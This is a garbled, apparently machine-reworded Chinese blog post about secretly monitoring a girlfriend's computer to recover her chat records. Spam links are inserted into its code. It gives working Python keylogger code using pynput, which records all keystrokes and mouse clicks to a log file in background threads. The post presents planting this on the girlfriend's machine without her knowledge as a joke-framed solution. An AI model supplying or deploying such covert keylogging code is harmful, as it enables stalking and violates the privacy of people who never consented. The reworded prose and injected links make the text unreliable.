关于python:用Python获得女友聊天记录一招解决疑神疑鬼

42次阅读

共计 1993 个字符,预计需要花费 5 分钟才能阅读完成。

就在前段时间,在大学睡我上铺的兄弟,在兄嘚群里探讨,说:他发现女朋友这几天只有上班就坐在电脑前,不是工作起因。而且只有他凑近一点就会立刻退出页面,所以他始终很狐疑,在群里问咱们这一个个独身狗。而后就呈现上面这一段对话。

A 敌人:你间接问。
B 敌人:你女朋友睡了后,偷偷拿电脑查。
C 敌人:咱们不吊死在一棵树上,不对劲就早点脱身。
D 敌人:我感觉 A 的不行,间接问容易打草惊蛇,不过他在你背后体现的这么显著,你能够去找他聊下,你们之间是不是感情出问题了。
F 敌人:嘿,我不和你离的不远吗?支开你女朋友我上你家,帮你搞个能取得聊天记录的,这不就完满了吗?

1. 应用 pynput 库
pynput 能够监控咱们的键盘和鼠标。目前具备此类性能的库有很多,比方 pygame 等游戏库,然而当咱们只须要监控键盘和鼠标时,它们就显得过于轻便了。

2. 对键盘监控
在他的电脑常驻一个后盾过程去实现监控键盘输入并记录下来,代码大略能够这样:

from pynput import keyboard
https://www.niaogebiji.com/ta…

def on_press(key):

print(f'{key} :pushed')

def on_release(key):

#print(f'{key} released')
if key == keyboard.Key.esc:
    # Stop listener
    return False

https://www.niaogebiji.com/ta…

with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:

lsn.join()

控制台打印:

3. 对鼠标监控
from pynput import mouse

def on_click(x, y, button, pressed):

if button == mouse.Button.left:
    print('left was pressed!')
elif button == mouse.Button.right:
    print('right was pressed!')
    return False
else:
    print('mid was pressed!')

Collect events until released

with mouse.Listener(on_click=on_click) as listener:

listener.join()

控制台打印:

你会发现,每条打印都被打印了两次,这是因为按上来和抬起来都会触发鼠标事件。

4. 监控并记录到日志文件
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread

定义日志文件

logger.add(‘demo.log’)
def on_press(key):

logger.debug(f'{key} :pushed')

def on_release(key):

#print(f'{key} released')
if key == keyboard.Key.esc:
    # Stop listener
    return False

https://www.niaogebiji.com/ta…

定义 f1 用于线程 1

def f1():

with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()


def on_click(x, y, button, pressed):

if button == mouse.Button.left:
    logger.debug('left was pressed!')
elif button == mouse.Button.right:
    logger.debug('right was pressed!')
    return False
else:
    logger.debug('mid was pressed!')

定义 f2 用于线程 2

def f2():

# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()

https://www.niaogebiji.com/ta…

if name == ‘__main__’:

# 起两个线程别离监控键盘和鼠标
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()

查看日志内容:

这样键盘操作曾经全副被记录,通过对这个日志文件进行简略的 NLTK 语言解决,就能还原聊天记录。
这个记录就不给你们展现了,属于隐衷,但能通知你们后果,嗯,其实他女友挺好,看我上铺兄弟每次都要加班很晚,身材有点不行了,但又好体面,所以偷偷给他在网上买补药,想给他补补~ 笑死

正文完
 0